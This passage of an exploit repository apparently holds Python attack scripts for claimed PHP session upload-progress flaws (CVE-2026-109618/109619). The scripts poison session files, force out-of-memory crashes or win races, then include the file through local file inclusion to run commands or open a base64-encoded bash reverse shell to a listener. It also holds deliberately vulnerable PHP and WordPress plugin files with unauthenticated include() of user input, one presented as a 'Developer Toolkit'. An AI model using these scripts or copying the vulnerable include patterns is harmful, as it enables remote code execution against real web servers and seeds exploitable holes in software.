body_so_far += len(more)
break
# Check chunked
if b'Transfer-Encoding: chunked' in headers:
if b"\r\n0\r\n" in resp:
break
continue
# No CL, no chunked — read until timeout
try:
more = sock.recv(4096)
if more:
resp += more
except socket.timeout:
pass
break
except socket.timeout:
pass
return resp
def _send_http(sock, method: bytes, host: str, path: str,
body: bytes = b"", headers: dict = None,
content_type: bytes = None, keepalive: bool = True) -> bytes:
conn = b"keep-alive" if keepalive else b"close"
req = method + b" " + path.encode() + b" HTTP/1.1\r\n"
req += b"Host: " + host.encode() + b"\r\n"
if content_type:
req += b"Content-Type: " + content_type + b"\r\n"
if body:
req += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
req += b"Connection: " + conn + b"\r\n"
if headers:
for k, v in headers.items():
req += f"{k}: {v}\r\n".encode()
req += b"\r\n"
sock.sendall(req + body)
return _recv_response(sock)
def _extract_cookies(resp: bytes) -> dict:
cookies = {}
for line in resp.split(b"\r\n"):
if line.lower().startswith(b"set-cookie:"):
cookie_str = line.split(b":", 1)[1].strip()
kv = cookie_str.split(b";")[0]
if b"=" in kv:
k, v = kv.split(b"=", 1)
cookies[k.strip().decode()] = v.strip().decode()
return cookies
def _decode_chunked(data: bytes) -> bytes:
out = b""
while data:
line_end = data.find(b"\r\n")
if line_end < 0:
break
size_str = data[:line_end].split(b";")[0].strip()
try:
chunk_len = int(size_str, 16)
except ValueError:
break
if chunk_len == 0:
break
start = line_end + 2
out += data[start:start + chunk_len]
data = data[start + chunk_len + 2:]
return out
def _extract_body(resp: bytes) -> bytes:
if b"\r\n\r\n" not in resp:
return b""
headers, body = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in headers.lower():
return _decode_chunked(body)
return body
def _status_code(resp: bytes) -> int:
try:
return int(resp.split(b" ")[1])
except (IndexError, ValueError):
return 0
# ---------------------------------------------------------------------------
# Exploit phases
# ---------------------------------------------------------------------------
def phase1_get_session(sock, host, path) -> str:
"""Get a valid PHPSESSID from the target."""
resp = _send_http(sock, b"GET", host, path)
cookies = _extract_cookies(resp)
sid = cookies.get("PHPSESSID")
if not sid:
body = _extract_body(resp)
m = re.search(rb'sid=([a-zA-Z0-9,-]+)', body)
if m:
sid = m.group(1).decode()
return sid
def phase2_inject(sock, host, path, session_id: str,
php_code: bytes) -> tuple:
"""Inject PHP code into the session file via upload progress."""
body = io.BytesIO()
# The PHP_SESSION_UPLOAD_PROGRESS field MUST come before any file
# fields — PHP processes form fields in order and initialises the
# progress tracker when it sees this field.
body.write(multipart_field(PROGRESS_FIELD, php_code))
# A file upload is required to trigger the progress write-back.
# The callback only writes progress data on FILE_START/DATA/END events.
body.write(multipart_file(
b"file", b"payload.bin",
b"\x00" * 8192,
))
body.write(multipart_end())
body_bytes = body.getvalue()
ct = b"multipart/form-data; boundary=" + BOUNDARY
resp = _send_http(
sock, b"POST", host, path,
body=body_bytes,
content_type=ct,
headers={"Cookie": f"PHPSESSID={session_id}"},
keepalive=True,
)
return _status_code(resp), _extract_body(resp)
def phase2_inject_slow(host, port, tls, path, session_id, php_code, duration=5.0):
"""Send a slow multipart upload to keep session file populated.
Used for race condition against cleanup=1: the session file contains
our PHP code during the entire upload. A concurrent request can
include it via LFI before cleanup runs at MULTIPART_EVENT_END.
"""
bnd = b"----SLOW" + os.urandom(4).hex().encode()
sock = _connect(host, port, tls)
# Build progress field + start of file upload
head = b""
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + PROGRESS_FIELD + b'"\r\n'
b"\r\n" + php_code + b"\r\n")
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n")
file_size = 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total_body = len(head) + file_size + len(tail)
req = (
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total_body).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + session_id.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
sock.sendall(req + head)
chunk = b"\x00" * 4096
sent = 0
start_time = time.time()
try:
while sent < file_size and (time.time() - start_time) < duration:
to_send = min(4096, file_size - sent)
sock.sendall(chunk[:to_send])
sent += to_send
time.sleep(0.05)
sock.sendall(tail)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
try:
_recv_response(sock, timeout=2)
except:
pass
sock.close()
def phase3_include(sock, host, path, session_id: str,
session_path: str, lfi_param: str) -> tuple:
"""Trigger LFI to include the poisoned session file."""
sess_file = f"{session_path}/sess_{session_id}"
inc_path = f"{path}?{lfi_param}={sess_file}"
resp = _send_http(
sock, b"GET", host, inc_path,
headers={"Cookie": f"PHPSESSID={session_id}"},
keepalive=False,
)
return _status_code(resp), _extract_body(resp)
# ---------------------------------------------------------------------------
# Session path discovery
# ---------------------------------------------------------------------------
def discover_session_path(sock, host, path, session_id: str,
lfi_param: str, paths: list) -> str:
"""Try common session save paths to find the right one."""
for sp in paths:
sess_file = f"{sp}/sess_{session_id}"
inc_path = f"{path}?{lfi_param}={sess_file}"
resp = _send_http(
sock, b"GET", host, inc_path,
headers={"Cookie": f"PHPSESSID={session_id}"},
keepalive=True,
)
body = _extract_body(resp)
status = _status_code(resp)
if status == 200 and (b"sid=" in body or b"upload_progress" in body):
return sp
return ""
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def run(target: str, lhost: str, lport: int, trigger_only: bool,
cmd: str, lfi_param: str, session_path: str, attempts: int,
race: bool = False):
host, port, tls, path = _parse_url(target)
print(f"[*] CVE-2026-109619: PHP session upload progress RCE")
print(f"[*] Target: {target}")
if trigger_only:
print(f"[*] Mode: trigger-only (inject code, report path)")
elif cmd:
print(f"[*] Mode: command execution")
print(f"[*] Command: {cmd}")
else:
print(f"[*] Mode: reverse shell → {lhost}:{lport}")
if race:
print(f"[*] Race: enabled (works with cleanup=1)")
print()
# Build payload
if trigger_only:
php_code = b'<?php echo "CVE-2026-109619:" . php_uname() . ":" . posix_getuid(); ?>'
elif cmd:
cmd_safe = cmd.replace('"', '\\"')
php_code = f'<?php echo "CVE2026:";system("{cmd_safe}");echo ":END"; ?>'.encode()
else:
if not lhost or not lport:
print("[!] --lhost and --lport required for reverse shell mode")
sys.exit(1)
php_code = make_reverse_shell_payload(lhost, lport)
# Race condition mode: send slow upload + concurrent LFI
if race and lfi_param:
return _run_race(host, port, tls, path, php_code, lfi_param,
session_path, cmd, lhost, lport, trigger_only, attempts)
for attempt in range(1, attempts + 1):
if attempts > 1:
print(f"[*] === Attempt {attempt}/{attempts} ===")
sock = _connect(host, port, tls)
# Phase 1: Get session ID
print("[*] Phase 1: Obtaining session ID...")
sid = phase1_get_session(sock, host, path)
if not sid:
sid = os.urandom(13).hex()
print(f"[!] Could not extract PHPSESSID, using generated: {sid}")
else:
print(f"[+] PHPSESSID: {sid}")
# Phase 2: Inject PHP code via upload progress
print(f"[*] Phase 2: Injecting PHP code via upload progress...")
print(f" Payload: {php_code[:80].decode(errors='replace')}{'...' if len(php_code) > 80 else ''}")
status, body = phase2_inject(sock, host, path, sid, php_code)
print(f" Response: HTTP {status}")
if status == 200:
print("[+] Upload progress request accepted — code injected into session file")
elif status == 502:
print("[!] 502 — worker crashed. Retrying...")
sock.close()
time.sleep(0.5)
continue
else:
print(f"[!] Unexpected status {status}")
if trigger_only:
print()
print("[+] Session file poisoned successfully.")
print(f"[*] Session ID: {sid}")
print(f"[*] The session file contains injected PHP code.")
print(f"[*] Common session file locations:")
for sp in DEFAULT_SESSION_PATHS:
print(f" {sp}/sess_{sid}")
print()
print("[*] To verify, include the session file via LFI:")
print(f" curl 'http://target/vuln.php?page=/tmp/sess_{sid}'")
print(f" curl 'http://target/vuln.php?page=/var/lib/php/sessions/sess_{sid}'")
print()
print("[*] Or check the file directly on the target server:")
print(f" cat /tmp/sess_{sid}")
print(f" strings /var/lib/php/sessions/sess_{sid}")
sock.close()
return True
# Phase 3: Trigger inclusion
if not lfi_param:
print()
print("[+] Code injected. No --lfi-param specified for auto-inclusion.")
print(f"[*] Trigger manually: include the session file via LFI")
print(f" {target}?PARAM={session_path}/sess_{sid}")
sock.close()
return True
print(f"[*] Phase 3: Triggering session file inclusion via '{lfi_param}' param...")
if not session_path:
print("[*] No --session-path given, trying common paths...")
session_path = discover_session_path(
sock, host, path, sid, lfi_param, DEFAULT_SESSION_PATHS)
if session_path:
print(f"[+] Found session path: {session_path}")
else:
print("[!] Could not auto-detect session path. Try --session-path")
sock.close()
continue
# Need a fresh connection (the POST consumed the keepalive)
try:
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
except (BrokenPipeError, ConnectionResetError, OSError):
sock.close()
sock = _connect(host, port, tls)
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
print(f" Response: HTTP {status}")
body_text = body.decode(errors='replace')
if "CVE-2026-109619:" in body_text:
# Trigger-only canary found in output
marker = body_text[body_text.index("CVE-2026-109619:"):]
marker = marker.split("|")[0].split("\x00")[0][:200]
print(f"[+] CODE EXECUTION CONFIRMED!")
print(f" Output: {marker}")
sock.close()
return True
elif cmd and status == 200:
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
if m:
output = m.group(1).strip()
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(output)
print("[+] ══════════════════════════════════════════")
print(f"\n[+] RCE achieved via CVE-2026-109619!")
sock.close()
return True
elif "upload_progress_" in body_text:
print(f"[+] Session file included but code may not have executed")
print(f" (serialized session data visible in response)")
sock.close()
return True
else:
print(f"[!] Inclusion did not produce expected output. Body preview:")
print(f" {body_text[:300]}")
elif not cmd and not trigger_only and status == 200:
print(f"[*] Request sent — check listener on {lhost}:{lport}")
sock.close()
return True
else:
print(f"[!] Inclusion may have failed. Body preview:")
print(f" {body_text[:200]}")
sock.close()
print()
print()
if trigger_only:
print("[*] Done. Session file was poisoned — verify via LFI or file access.")
elif cmd or (lhost and lport):
print("[*] Done. If RCE did not fire, check:")
print(" - session.upload_progress.enabled = 1")
print(" - session.serialize_handler = php (default)")
print(" - LFI parameter name (--lfi-param)")
print(" - Session save path (--session-path)")
return False
def _run_race(host, port, tls, path, php_code, lfi_param,
session_path, cmd, lhost, lport, trigger_only, attempts):
"""Race condition mode: works with session.upload_progress.cleanup=1.
Sends a slow multipart upload to keep the session file populated with
our PHP code, while concurrently trying to include it via LFI.
"""
spaths = [session_path] if session_path else list(DEFAULT_SESSION_PATHS)
for attempt in range(1, attempts + 1):
if attempts > 1:
print(f"[*] === Attempt {attempt}/{attempts} ===")
sid = os.urandom(16).hex()
print(f"[+] Session ID: {sid}")
# Start slow upload in background thread
print("[*] Starting slow upload (keeps session file alive)...")
upload_thread = threading.Thread(
target=phase2_inject_slow,
args=(host, port, tls, path, sid, php_code, 8.0),
daemon=True,
)
upload_thread.start()
time.sleep(0.3)
# Race: try LFI repeatedly while upload is in progress
# Use a DIFFERENT session ID for LFI to avoid blocking on session file lock
lfi_sid = os.urandom(16).hex()
print("[*] Racing LFI requests against upload...")
hit = False
for i in range(100):
if not upload_thread.is_alive():
break
for sp in spaths:
sess_file = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess_file}"
try:
sock = _connect(host, port, tls)
resp = _send_http(
sock, b"GET", host, url,
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
keepalive=False,
)
sock.close()
body = _extract_body(resp)
body_text = body.decode(errors="replace")
if "CVE-2026-109619:" in body_text or "CVE2026:" in body_text:
hit = True
if "CVE-2026-109619:" in body_text:
marker = body_text[body_text.index("CVE-2026-109619:"):]
marker = marker.split("|")[0][:200]
print(f"\n[+] CODE EXECUTION CONFIRMED (race won, attempt {i+1})")
print(f" {marker}")
elif "CVE2026:" in body_text:
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
if m:
result = m.group(1).strip()
else:
result = body_text.split("upload_progress_")[0] if "upload_progress_" in body_text else body_text[:500]
print(f"\n[+] ═══════ RCE OUTPUT (race won, attempt {i+1}) ═══════")
print(result)
print("[+] ═════════════════════════════════════════════")
print(f"\n[+] RCE achieved via CVE-2026-109619!")
return True
elif b"upload_progress_" in body:
print(f" [+] Session file found at {sp} — content visible")
if trigger_only:
print(f"[+] Session poisoning confirmed (race won)")
return True
except:
pass
time.sleep(0.02)
upload_thread.join(timeout=2)
if hit:
return True
print(f" Race lost on attempt {attempt}")
print("[!] Race condition failed after all attempts")
print(" Try: --attempts 10 or check --session-path")
return False
def main():
p = argparse.ArgumentParser(
description="CVE-2026-109619: PHP session upload progress → RCE",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --session-path /tmp
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 --lfi-param page
%(prog)s -t http://target/app.php --trigger-only
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --race
""")
p.add_argument("--target", "-t", required=True,
help="Target URL (PHP endpoint with session_start())")
p.add_argument("--lhost", help="Listener IP for reverse shell")
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
p.add_argument("--cmd", help="Command to execute (alternative to reverse shell)")
p.add_argument("--trigger-only", action="store_true",
help="Inject code into session file only — no inclusion/RCE")
p.add_argument("--lfi-param", default="",
help="Query parameter for LFI (e.g., 'page', 'file', 'template')")
p.add_argument("--session-path", default="",
help="session.save_path on target (e.g., /tmp, /var/lib/php/sessions)")
p.add_argument("--race", action="store_true",
help="Race condition mode — works with cleanup=1 (default config)")
p.add_argument("--attempts", type=int, default=3,
help="Number of attempts (default 3)")
args = p.parse_args()
if not args.trigger_only and not args.cmd and not args.lhost:
print("[!] Specify --trigger-only, --cmd, or --lhost/--lport")
sys.exit(1)
run(args.target, args.lhost, args.lport, args.trigger_only,
args.cmd, args.lfi_param, args.session_path, args.attempts,
race=args.race)
if __name__ == "__main__":
main()
+9
View File
@@ -0,0 +1,9 @@
<?php
session_start();
$pid = getmypid();
if (isset($_GET['page'])) {
include($_GET['page']);
}
echo "pid=$pid sid=" . session_id() . "\n";
+492
View File
@@ -0,0 +1,492 @@
#!/usr/bin/env python3
"""
WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619
Demonstrates both PHP session upload progress vulnerabilities against a
WordPress target that has:
1. A plugin calling session_start() (WooCommerce, any session-using plugin)
2. A local file inclusion vector (plugin theme-preview, template param, etc.)
Two attack modes:
OOM mode (CVE-2026-109618)
Floods multipart fields to OOM PHP during parsing. zend_bailout()
longjmps past MULTIPART_EVENT_END → session cleanup skipped →
session file with PHP code persists on disk. Second request
includes it via LFI. Works with session.upload_progress.cleanup=1.
Race mode (CVE-2026-109619)
Sends a slow multipart upload that keeps the session file populated
while concurrent LFI requests race to include it before cleanup.
Works with session.upload_progress.cleanup=1. Lower field count,
no OOM needed.
Usage:
# OOM mode (default) — 'id' command
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'id'
# Race mode — reverse shell
python3 wordpress-exploit.py -t http://target:8080/ --mode race \\
--lhost 10.0.0.1 --lport 4444
# Custom LFI parameter and session path
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'cat /etc/passwd' \\
--lfi-param dt_template --session-path /tmp/php-sessions
"""
import argparse
import base64
import os
import re
import socket
import sys
import threading
import time
from urllib.parse import urlparse
# ─── defaults ────────────────────────────────────────────────────────
WP_SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
]
WP_LFI_PARAMS = [
"dt_template",
"page",
"template",
"file",
"tpl",
"include",
"path",
]
# OOM tuning — ~1.6KB per field on PHP 8.4, aim for 80% of memory_limit
OOM_FIELD_SIZE = 1024
OOM_FIELDS_64M = 40000
OOM_FIELDS_128M = 80000
# ─── HTTP / multipart helpers ────────────────────────────────────────
def tcp_connect(host, port, tls=False, timeout=30):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def status_code(resp):
try:
return int(resp.split(b" ")[1])
except:
return 0
def body_of(resp):
if b"\r\n\r\n" not in resp:
return resp
hdr, raw = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in hdr.lower():
out, data = b"", raw
while data:
nl = data.find(b"\r\n")
if nl < 0:
break
try:
clen = int(data[:nl].split(b";")[0].strip(), 16)
except ValueError:
break
if clen == 0:
break
out += data[nl+2:nl+2+clen]
data = data[nl+2+clen+2:]
return out
return raw
def http_get(host, port, tls, path, headers=None, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
req = (
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
)
if headers:
for k, v in headers.items():
req += f"{k}: {v}\r\n".encode()
req += b"Connection: close\r\n\r\n"
sock.sendall(req)
resp = recv_all(sock, timeout)
sock.close()
return resp
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
def mp_file(bnd, name, fname, content):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + fname + b'"\r\n'
b"Content-Type: application/octet-stream\r\n"
b"\r\n" + content + b"\r\n")
def mp_end(bnd):
return b"--" + bnd + b"--\r\n"
# ─── payload builders ────────────────────────────────────────────────
def build_payload(args):
if args.trigger_only:
return b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
if args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
return f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
if args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
return f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
# ─── OOM mode (CVE-2026-109618) ─────────────────────────────────────
def attack_oom(host, port, tls, path, sid, php_code, lfi_param,
session_paths, fields, fsize, args):
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
print("[*] Phase 1: session poisoning + OOM crash")
print(f" Building {fields} × {fsize}B field payload...")
body = b""
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
for i in range(fields):
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
body += mp_end(bnd)
print(f" Payload: {len(body)/(1024*1024):.1f} MB")
sock = tcp_connect(host, port, tls, timeout=120)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
resp = recv_all(sock, timeout=10)
sock.close()
sc = status_code(resp)
if sc == 502 or sc == 0:
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
print(f" OOM during parsing — session cleanup skipped")
elif sc == 500:
print(f" [+] HTTP 500 — OOM during script execution")
else:
print(f" [!] HTTP {sc} — no OOM. Try --fields {fields*2}")
return False
# Wait for new worker
print(" Waiting for new worker...")
time.sleep(2)
for i in range(10):
try:
r = http_get(host, port, tls, path, timeout=3)
if status_code(r) in (200, 301, 302, 403, 404):
print(f" New worker ready")
break
except:
pass
time.sleep(1)
else:
print(" [!] New worker not available")
return False
# Phase 2: LFI
return phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args)
# ─── Race mode (CVE-2026-109619) ────────────────────────────────────
def slow_upload(host, port, tls, path, sid, php_code, duration=8.0):
bnd = b"----SLOW" + os.urandom(4).hex().encode()
sock = tcp_connect(host, port, tls)
head = b""
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
b"\r\n" + php_code + b"\r\n")
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n")
file_size = 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total = len(head) + file_size + len(tail)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
sock.sendall(head)
chunk = b"\x00" * 4096
sent, start = 0, time.time()
try:
while sent < file_size and (time.time() - start) < duration:
sock.sendall(chunk[:min(4096, file_size - sent)])
sent += min(4096, file_size - sent)
time.sleep(0.05)
sock.sendall(tail)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
try:
recv_all(sock, timeout=2)
except:
pass
sock.close()
def attack_race(host, port, tls, path, php_code, lfi_param,
session_paths, attempts, args):
for attempt in range(1, attempts + 1):
if attempts > 1:
print(f"[*] === Attempt {attempt}/{attempts} ===")
sid = os.urandom(16).hex()
lfi_sid = os.urandom(16).hex()
print(f"[+] Upload SID: {sid}")
print("[*] Starting slow upload (keeps session file alive)...")
t = threading.Thread(target=slow_upload,
args=(host, port, tls, path, sid, php_code, 8.0),
daemon=True)
t.start()
time.sleep(0.3)
print("[*] Racing LFI requests against upload...")
for i in range(150):
if not t.is_alive():
break
for sp in session_paths:
sess = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess}"
try:
resp = http_get(host, port, tls, url,
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
timeout=3)
rbody = body_of(resp)
if b"CVE2026:" in rbody:
output = extract_output(rbody.decode(errors="replace"), args)
if output is not None:
print(f"\n[+] Race won on iteration {i+1}")
print_result(output, args)
return True
except:
pass
time.sleep(0.02)
t.join(timeout=2)
print(f" Race lost on attempt {attempt}")
print("[!] Race condition failed after all attempts")
return False
# ─── LFI phase (shared) ─────────────────────────────────────────────
def phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args):
print()
print("[*] Phase 2: including poisoned session file via LFI...")
for sp in session_paths:
sess = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess}"
try:
resp = http_get(host, port, tls, url, timeout=10)
rbody = body_of(resp)
if b"CVE2026:" in rbody:
output = extract_output(rbody.decode(errors="replace"), args)
if output is not None:
print(f" Session file: {sess}")
print_result(output, args)
return True
except:
continue
print(" [!] Session file not found via LFI")
print(f" Tried: {', '.join(session_paths)}")
return False
def extract_output(body_text, args):
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", body_text)
return m.group(1) if m else body_text[:200]
if args.cmd:
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
if m:
return m.group(1).strip()
if "upload_progress_" in body_text:
return ""
return body_text[:500]
return ""
def print_result(output, args):
if args.trigger_only:
print()
print("[+] Code execution confirmed!")
print(f" {output}")
elif args.cmd:
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(output)
print("[+] ══════════════════════════════════════════")
print()
print("[+] RCE achieved!")
else:
print()
print("[+] Payload delivered — check your listener")
# ─── auto-detect ─────────────────────────────────────────────────────
def detect_lfi_param(host, port, tls, path, params):
for param in params:
try:
url = f"{path}?{param}=/etc/hostname"
resp = http_get(host, port, tls, url, timeout=5)
sc = status_code(resp)
rbody = body_of(resp)
if sc == 200 and len(rbody.strip()) > 0 and len(rbody.strip()) < 200:
return param
except:
continue
return None
# ─── main ────────────────────────────────────────────────────────────
def main():
ap = argparse.ArgumentParser(
description="WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target:8080/ --cmd 'id'
%(prog)s -t http://target:8080/ --mode race --cmd 'whoami'
%(prog)s -t http://target:8080/ --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target:8080/ --trigger-only
""")
ap.add_argument("-t", "--target", required=True, help="WordPress URL")
ap.add_argument("--mode", choices=["oom", "race"], default="oom",
help="Attack mode: oom (CVE-2026-109618) or race (CVE-2026-109619)")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability without payload")
ap.add_argument("--lfi-param", help="LFI query parameter (auto-detected if omitted)")
ap.add_argument("--session-path", help="session.save_path on target")
ap.add_argument("--fields", type=int, default=OOM_FIELDS_64M,
help=f"OOM pressure fields (default {OOM_FIELDS_64M} for 64M)")
ap.add_argument("--field-size", type=int, default=OOM_FIELD_SIZE,
help=f"Bytes per OOM field (default {OOM_FIELD_SIZE})")
ap.add_argument("--attempts", type=int, default=5,
help="Race mode attempts (default 5)")
args = ap.parse_args()
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if not path.endswith("/") and "." not in path.split("/")[-1]:
path += "/"
php_code = build_payload(args)
sid = os.urandom(16).hex()
spaths = list(WP_SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
cve = "CVE-2026-109618 (OOM)" if args.mode == "oom" else "CVE-2026-109619 (Race)"
print("=" * 65)
print(f" WordPress RCE — {cve}")
print("=" * 65)
print(f" Target : {args.target}")
print(f" Mode : {args.mode}")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
# Phase 0: verify target
print("[*] Checking target...")
try:
r = http_get(host, port, tls, path, timeout=5)
sc = status_code(r)
if sc == 0:
raise ConnectionError("no response")
print(f" HTTP {sc} — WordPress alive")
except Exception as e:
print(f" [!] Not reachable: {e}")
sys.exit(1)
# Auto-detect LFI param
lfi_param = args.lfi_param
if not lfi_param:
print("[*] Auto-detecting LFI parameter...")
lfi_param = detect_lfi_param(host, port, tls, path, WP_LFI_PARAMS)
if lfi_param:
print(f" [+] Found: {lfi_param}")
else:
print(" [!] No LFI param detected. Specify --lfi-param")
sys.exit(1)
print()
if args.mode == "oom":
ok = attack_oom(host, port, tls, path, sid, php_code, lfi_param,
spaths, args.fields, args.field_size, args)
else:
ok = attack_race(host, port, tls, path, php_code, lfi_param,
spaths, args.attempts, args)
sys.exit(0 if ok else 1)
if __name__ == "__main__":
main()
+34
View File
@@ -0,0 +1,34 @@
<?php
/**
* Plugin Name: Analytics Dashboard (Vulnerable Demo)
* Description: Simulates a real-world WordPress plugin with PHP sessions and an
* LFI vulnerability. Represents plugins like WooCommerce session
* handlers, theme builders with template inclusion, etc.
* Version: 1.0.0
*
* Install as mu-plugin:
* cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/
*
* This plugin:
* 1. Calls session_start() on every request (like WooCommerce, etc.)
* 2. Has a template include that accepts user input (like theme builders)
* 3. Registers an AJAX endpoint accessible to unauthenticated users
*/
// Start PHP sessions (common in e-commerce/analytics plugins)
if (session_status() === PHP_SESSION_NONE) {
session_start();
}
// Register an unauthenticated AJAX handler with LFI
add_action('wp_ajax_nopriv_analytics_render', 'analytics_render_template');
add_action('wp_ajax_analytics_render', 'analytics_render_template');
function analytics_render_template() {
$template = isset($_GET['template']) ? $_GET['template'] : 'default';
// Vulnerable: no path validation on template parameter
if (file_exists($template)) {
include($template);
}
wp_die();
}
@@ -0,0 +1,80 @@
<?php
/**
* Plugin Name: Developer Toolkit
* Description: Development and debugging utilities for WordPress developers.
* Version: 2.1.0
* Author: DevTools Team
* License: GPL-2.0+
*
* Provides template preview, log viewer, and diagnostic tools for development.
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
// Register admin page
add_action( 'admin_menu', function() {
add_management_page(
'Developer Toolkit',
'Dev Toolkit',
'manage_options',
'dev-toolkit',
'devtoolkit_admin_page'
);
});
// Template preview (simulates common theme/template preview plugins)
add_action( 'template_redirect', function() {
if ( isset( $_GET['dt_preview'] ) && current_user_can( 'edit_themes' ) ) {
$template = sanitize_text_field( $_GET['dt_preview'] );
if ( file_exists( $template ) ) {
include $template;
exit;
}
}
});
// AJAX log viewer endpoint (common in debug/logging plugins)
add_action( 'wp_ajax_dt_view_log', function() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( 'Unauthorized' );
}
$logfile = isset( $_GET['file'] ) ? $_GET['file'] : '';
if ( $logfile && is_readable( $logfile ) ) {
header( 'Content-Type: text/plain' );
readfile( $logfile );
exit;
}
wp_die( 'File not found' );
});
// Front-end template include (no auth required - simulates broken plugin)
add_action( 'init', function() {
if ( isset( $_GET['dt_template'] ) ) {
$tpl = $_GET['dt_template'];
// "Sanitization" that doesn't prevent path traversal
$tpl = str_replace( "\0", '', $tpl );
if ( file_exists( $tpl ) ) {
include $tpl;
exit;
}
}
});
// Session-based features (simulates WooCommerce/forms using sessions)
add_action( 'init', function() {
if ( ! session_id() ) {
session_start();
}
});
function devtoolkit_admin_page() {
